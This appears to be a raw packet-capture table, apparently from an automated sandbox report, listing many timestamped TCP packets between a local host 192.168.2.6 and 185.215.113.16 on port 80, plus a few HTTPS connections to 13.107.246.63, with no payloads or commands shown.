Dec 7, 2024 22:40:56.277473927 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.278168917 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.278212070 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.278249025 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.278290033 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.279179096 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.279218912 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.279320002 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.279356003 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.280148029 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.280195951 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.280360937 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.280401945 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.281522989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.281589985 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.281636000 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.282217979 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.282257080 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.282310009 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.282355070 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.283207893 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.283248901 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.283322096 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.283361912 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.284203053 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.284244061 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.284308910 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.284348011 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.285245895 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.285379887 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.285424948 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.286235094 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.286278009 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.286348104 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.286389112 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.287266016 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.287303925 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.287390947 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.287430048 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.288316965 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.288357973 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.288394928 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.288434982 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.289047003 CET	49841	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.289089918 CET	443	49841	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.289150000 CET	49841	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.289304018 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.289345026 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.289391994 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.289432049 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.290321112 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.290361881 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.290433884 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.290472031 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.291364908 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.291403055 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.291459084 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.291491032 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.292392015 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.292431116 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.292484045 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.292524099 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.293394089 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.293487072 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.293534040 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.294394016 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.294440031 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.294476032 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.294516087 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.295406103 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.295448065 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.295520067 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.295557976 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.296421051 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.296463013 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.296580076 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.296616077 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.297002077 CET	49839	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.297012091 CET	443	49839	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.297460079 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.297590971 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.297635078 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.298515081 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.298557043 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.298655987 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.298697948 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.299500942 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.299540043 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.299597025 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.299634933 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.300517082 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.300559044 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.300626040 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.300666094 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.301556110 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.301695108 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.301750898 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.302548885 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.302593946 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.302691936 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.302733898 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.303595066 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.303637981 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.303704023 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.303735018 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.304608107 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.304647923 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.304683924 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.304721117 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.305666924 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.305733919 CET	49842	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.305748940 CET	443	49842	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.305752039 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.305782080 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.305800915 CET	49842	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.305816889 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.306616068 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.306658030 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.306756020 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.306792021 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.307641983 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.307684898 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.307751894 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.307794094 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.308676004 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.308717012 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.308823109 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.308862925 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.309681892 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.309684992 CET	49842	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.309699059 CET	443	49842	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.309725046 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.309777021 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.309818983 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.310694933 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.310740948 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.310807943 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.310848951 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.311779022 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.311825991 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.311851025 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.311887980 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.312905073 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.312968016 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.312999010 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.313039064 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.313771963 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.313889980 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.313940048 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.314816952 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.314873934 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.314928055 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.314969063 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.315845013 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.315886021 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.315922976 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.315962076 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.316833019 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.316871881 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.317023993 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.317065001 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.317914963 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.318051100 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.318095922 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.318913937 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.318960905 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.318980932 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.319022894 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.319897890 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.319940090 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.320023060 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.320061922 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.320883989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.320929050 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.321002960 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.321042061 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.322005987 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.322091103 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.322135925 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.322971106 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.323014021 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.323034048 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.323070049 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.323956966 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.323995113 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.324060917 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.324099064 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.324961901 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.324997902 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.325102091 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.325994015 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.326036930 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.348967075 CET	49840	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.348980904 CET	443	49840	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.445991039 CET	49841	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.446014881 CET	443	49841	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.465141058 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.465235949 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.465277910 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.465591908 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.465632915 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.465719938 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.465760946 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.466598034 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.466636896 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.466727972 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.466770887 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.467645884 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.467684984 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.467763901 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.467801094 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.468648911 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.468688011 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.468759060 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.468797922 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.469696045 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.469837904 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.469875097 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.470762968 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.470802069 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.470839024 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.470875978 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.471723080 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.471766949 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.471827030 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.471867085 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.472712040 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.472747087 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.472805977 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.472846031 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.473762989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.473870993 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.473912954 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.474903107 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.474947929 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.475008011 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.476073027 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.476115942 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.476152897 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.476191998 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.476788044 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.476828098 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.476912975 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.476972103 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.477847099 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.477905989 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.477936983 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.477983952 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.478894949 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.478938103 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.479027033 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.479065895 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.479847908 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.479917049 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.479953051 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.479988098 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.480907917 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.480963945 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.480992079 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.481039047 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.481879950 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.481920958 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.481987953 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.482028961 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.482892990 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.482944965 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.483009100 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.483047962 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.483923912 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.483999968 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.484082937 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.484325886 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.484961987 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.485057116 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.485066891 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.485102892 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.485940933 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.485991001 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.486069918 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.486120939 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.486968040 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.487067938 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.487119913 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.488019943 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.488109112 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.488136053 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.488203049 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.489037991 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.489084959 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.489121914 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.489181042 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.490056038 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.490170002 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.490179062 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.490274906 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.491059065 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.491112947 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.491216898 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.491264105 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.492088079 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.492162943 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.492199898 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.492261887 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.493099928 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.493155003 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.493191004 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.493278027 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.494112968 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.494153976 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.494194984 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.494234085 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.495204926 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.495250940 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.495336056 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.496151924 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.496202946 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.496258020 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.496308088 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.497170925 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.497288942 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.497339010 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.498174906 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.498222113 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.498282909 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.498330116 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.499221087 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.499267101 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.499336958 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.499373913 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.500294924 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.500339031 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.500461102 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.500504017 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.501224041 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.501319885 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.501348972 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.501436949 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.502263069 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.502310038 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.502350092 CET	80	49827	185.215.113.16	192.168.2.6
